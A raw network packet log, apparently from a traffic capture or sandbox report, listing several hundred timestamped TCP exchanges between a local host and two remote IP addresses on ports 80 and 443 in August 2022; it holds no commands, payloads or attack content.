Aug 23, 2022 03:42:41.096268892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096301079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.096308947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096333981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.096355915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096374989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096595049 CEST	49748	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:41.096622944 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:41.098978043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.099035978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.099076986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.099107981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.099128962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.099165916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.099173069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108243942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108299017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108326912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108345032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108350992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108376026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108380079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108383894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108397007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108401060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108419895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108422041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108444929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108462095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108506918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108520985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108557940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108582020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108599901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108618021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108623028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108637094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108658075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108680010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108704090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108717918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108720064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108737946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108745098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108752966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108769894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108782053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108803988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108815908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108834028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.108853102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108871937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.108994961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109023094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109039068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109047890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109059095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109066010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109097958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109112024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109132051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109138012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109163046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109164000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109181881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109186888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109205961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109206915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109226942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109231949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109247923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109256983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109266996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109273911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109299898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109316111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109344006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109344959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109378099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109384060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109400034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109419107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109440088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109447002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109473944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109479904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109515905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109574080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109606028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109612942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109627962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.109639883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.109663963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110085011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110115051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110135078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110172987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110208035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110328913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110357046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110375881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110397100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110405922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110414028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110440016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110440969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110461950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110465050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110486984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110488892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110507011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110524893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110635996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110675097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110718012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110743999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110757113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110769033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110780001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110788107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110809088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110831976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110843897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110857010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110869884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110882044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110893011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110899925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110918999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110927105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110939026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110950947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110960960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110975027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.110985041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.110991955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.111010075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.111025095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.119096994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119153976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119179010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119203091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119232893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119230032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.119255066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119261026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.119273901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119296074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119302988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.119318962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119323015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.119343042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119371891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.119385004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.119395971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.119435072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.121634007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.121691942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.121717930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.121784925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.121819019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.121841908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.121871948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.121885061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.121896982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.121918917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.121921062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.121937990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.121944904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.121970892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.121980906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.126060009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126105070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126130104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126153946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.126157045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126178980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.126183033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126209021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126229048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126238108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.126255035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126280069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.126280069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126305103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.126305103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126326084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.126338959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.126420975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.126425028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.135153055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.135514021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139362097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139470100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139483929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139514923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139533043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139554977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139558077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139580011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139585972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139605045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139611959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139631033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139636993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139656067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139673948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139683008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139698982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139700890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139719963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139725924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139736891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139749050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139759064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139774084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139785051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139795065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139811993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139818907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139828920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139843941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139857054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139868975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139878988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139887094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139904022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139920950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.139957905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139982939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.139991999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140008926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140017033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140027046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140043020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140058994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140166998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140207052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140232086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140235901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140249968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140274048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140275955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140300989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140321970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140326023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140336037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140343904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140364885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140383959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140616894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140642881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140666008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140686989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140697002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140724897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140742064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140762091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140763044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140780926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.140800953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.140814066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141077995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141100883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141124010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141139030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141139984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141165972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141184092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141290903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141374111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141411066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141426086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141469002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141489983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141522884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141525984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141552925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141561031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141576052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141587973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141608000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141613007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141640902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141644955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141671896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141676903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141693115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141705990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141731024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141819954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141855001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141879082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141885996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141910076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.141916037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.141949892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142627001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142672062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142695904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142720938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142738104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142740965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142761946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142776012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142788887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142810106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142837048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142838955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142853975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142877102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142893076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142901897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142924070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142927885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142944098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.142961979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.142985106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.145689011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.146008968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.150779963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151384115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151411057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151427031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151516914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.151560068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151566029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.151583910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151626110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.151652098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151671886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151691914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.151715040 CEST	80	49743	45.95.11.158	192.168.2.4
